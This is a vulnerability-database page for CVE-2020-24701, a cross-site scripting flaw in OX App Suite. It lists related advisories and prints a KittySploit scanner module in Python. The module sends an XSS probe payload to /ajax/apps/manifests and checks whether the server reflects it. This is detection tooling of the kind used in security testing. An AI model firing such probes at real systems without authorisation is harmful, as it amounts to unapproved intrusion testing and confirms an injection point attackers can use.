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OX Appsuite - Cross-Site Scripting Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 5 Views

XSS in OX App Suite via the app loading mechanism and PATH_INFO to the /appsuite URI.

Related
Refs
Code
ReporterTitlePublishedViews
Family
cnnvd
CNNVD
Open-Xchange OX App Suite Cross-Site Scripting Vulnerability
8 Jan 202100:00
–cnnvd
cve
CVE
CVE-2020-24701
12 Jan 202107:58
–cve
cvelist
Cvelist
CVE-2020-24701
12 Jan 202107:58
–cvelist
nuclei
Nuclei
OX Appsuite - Cross-Site Scripting
14 Oct 202602:05
–nuclei
nvd
NVD
CVE-2020-24701
12 Jan 202108:15
–nvd
osv
OSV
CVE-2020-24701
12 Jan 202108:15
–osv
packetstorm
Packet Storm
OX App Suite / OX Documents 7.10.x XSS / SSRF
8 Jan 202100:00
–packetstorm
packetstorm
Packet Storm
OX App Suite / OX Guard / OX Documents SSRF / Cross Site Scripting
16 Jul 202100:00
–packetstorm
prion
Prion
Design/Logic Flaw
12 Jan 202108:15
–prion
ptsecurity
Positive Technologies
PT-2021-11068 · Open Xchange · Ox App Suite
12 Jan 202100:00
–ptsecurity
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""OX App Suite through 7."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'OX Appsuite - Cross-Site Scripting Detection',
        'description': 'OX App Suite through 7.10.4 allows XSS via the app loading mechanism (the PATH_INFO to the /appsuite URI).',
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'cve', 'cve2020', 'packetstorm', 'seclists', 'appsuite', 'xss', 'open-xchange', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
            },
        },
        'references': [
            'https://packetstormsecurity.com/files/163527/OX-App-Suite-OX-Guard-OX-Documents-SSRF-Cross-Site-Scripting.html',
            'https://seclists.org/fulldisclosure/2021/Jul/33',
            'https://nvd.nist.gov/vuln/detail/CVE-2020-24701',
            'https://www.open-xchange.com',
            'https://github.com/20142995/sectool',
        ],
        'cve': 'CVE-2020-24701',
    }

    def run(self):
        r = self.http_request(method="GET", path='/ajax/apps/manifests?action=all&format=debug&xss=<script>alert(document.domain);</script>', allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
        body_all = ('Request with action all', '<script>alert(document.domain);</script>',)
        header_any = ('text/html',)
        if (all(m in body for m in body_all)) and (any(m in headers for m in header_any)):
            self.set_info(
                severity='medium',
                reason="OX Appsuite - Cross-Site Scripting detected",
                path='/ajax/apps/manifests?action=all&format=debug&xss=<script>alert(document.domain);</script>',
            )
            return True
        return False

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28 Jul 2026 11:27Current
6.3Medium risk
Vulners AI Score6.3
CVSS 24.3
CVSS 3.16.1
EPSS0.06788
5